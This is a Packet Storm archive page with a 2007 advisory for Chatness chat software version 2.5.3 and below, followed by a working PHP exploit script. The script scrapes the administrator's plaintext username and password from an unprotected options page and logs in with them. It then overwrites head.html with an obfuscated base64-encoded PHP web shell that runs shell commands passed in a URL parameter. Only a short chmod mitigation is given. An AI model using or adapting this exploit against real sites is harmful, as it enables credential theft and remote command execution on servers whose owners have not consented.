what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

chatness253-multi.txt

chatness253-multi.txt
Posted Apr 12, 2007
Authored by Gammarays

Chatness versions 2.5.3 and below suffer from multiple vulnerabilities including file overwrite and password disclosure issues.

tags | exploit, vulnerability
SHA-256 | e5e0cc65179e56734e1e8783fea84346fb81d711d4417d44f34d53f1b0f3bce0

chatness253-multi.txt

Change Mirror Download
<?/*
Files: options.php, save.php
Affects: Chatness <= 2.5.3
Date: 12th April 2007

Issue Description:
===========================================================================
Chatness suffers with two main vulnerabilities, the first of these in
/admin/options.php the problems occur because the script first fails to
verify if the user is in fact an administrator and secondly it prints the
administrators username and password in plain text as part of the pre-filled
form.

The second issue occurs in /admin/save.php and /index.php while save.php
limits writing to just .html extended filenames it is possible for an
attacker to overwrite either foot.html or head.html to contain arbitrary php
code which would then be executed when included by index.php
===========================================================================

Scope:
===========================================================================
Combined these two seperate issues will allow an attacker to gain access to
the system and execute code/commands of their choice.
===========================================================================

Recommendation:
===========================================================================
Until a patch is availible it would be advisable to chmod both foot.html
and head.html to a mode that makes them unwritable by the web server, this
will minimize the risk of arbitrary code execution.
===========================================================================

Discovered By: Gammarays
*/?>


<?php

echo "########################################################\n";
echo "# Special Greetings To - Timq,Warpboy,The-Maggot #\n";
echo "########################################################\n\n\n";

$payload = "JTNDJTNGcGhwK2lmJTI4aXNzZXQlMjglMjRfR0VUJTVCJTI3Y21kJTI3JTVEJTI5JTI5JTdCZWNobytzaGVsbF9leGVjJTI4dXJsZGVjb2RlJTI4JTI0X0dFVCU1QiUyN2NtZCUyNyU1RCUyOSUyOSUzQmRpZSUyOCUyOSUzQiU3RCUzRiUzRQ==";
$payload = base64_decode($payload);


if($argc!=2) die("Usage: <url> \n\tEx: http://www.example.com/chatness/\n");

$url = $argv[1];

$ch = curl_init($url . "admin/options.php");
if(!$ch) die("Error Initializing CURL");

echo "[ ] Attempting To Fetch Admin Login...\n";
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$res = curl_exec($ch);
if(!$res) die("Error Connecting To Target");

$httpresult = curl_getinfo($ch,CURLINFO_HTTP_CODE);
if($httpresult!=200) die("Error - URL Appears To Be Incorrect");

//Not good - but it works...sometimes
$junkarray = explode("id=",$res);
$junkarray = explode("\"",$junkarray[14]);
$username = $junkarray[3];

$junkarray = explode("id=",$res);
$junkarray = explode("\"",$junkarray[15]);
$password = $junkarray[3];

echo "[ ] Found Username And Password - ".$username." / ".$password."\n";
echo "[ ] Logging In...\n";

//Login
curl_setopt($ch, CURLOPT_URL,$url . "admin/login.php");
curl_setopt($ch, CURLOPT_COOKIEJAR, "mrcookie.dat");
curl_setopt($ch, CURLOPT_POST,1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"user=".$username."&pass=".$password."&submit=Login");
$res = curl_exec($ch);
if(!res) die("Error Connecting To Target");

$httpresult = curl_getinfo($ch,CURLINFO_HTTP_CODE);
if($httpresult==200) die("Error Invalid Username/Password");

echo "[ ] Login Succeeded..\n";

//Deploy Main Payload
curl_setopt($ch, CURLOPT_URL,$url . "admin/save.php?file=head");
curl_setopt($ch, CURLOPT_COOKIEFILE, "mrcookie.dat");
curl_setopt($ch, CURLOPT_POSTFIELDS,"html=".$payload);
$res = curl_exec($ch);
if(!res) die("Error Connecting To Target");

echo "[ ] Payload Deployed\n";
echo "[ ] Shell Accessible at ".$url."index.php?cmd=<yourcommand>";
curl_close($ch);
?>
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close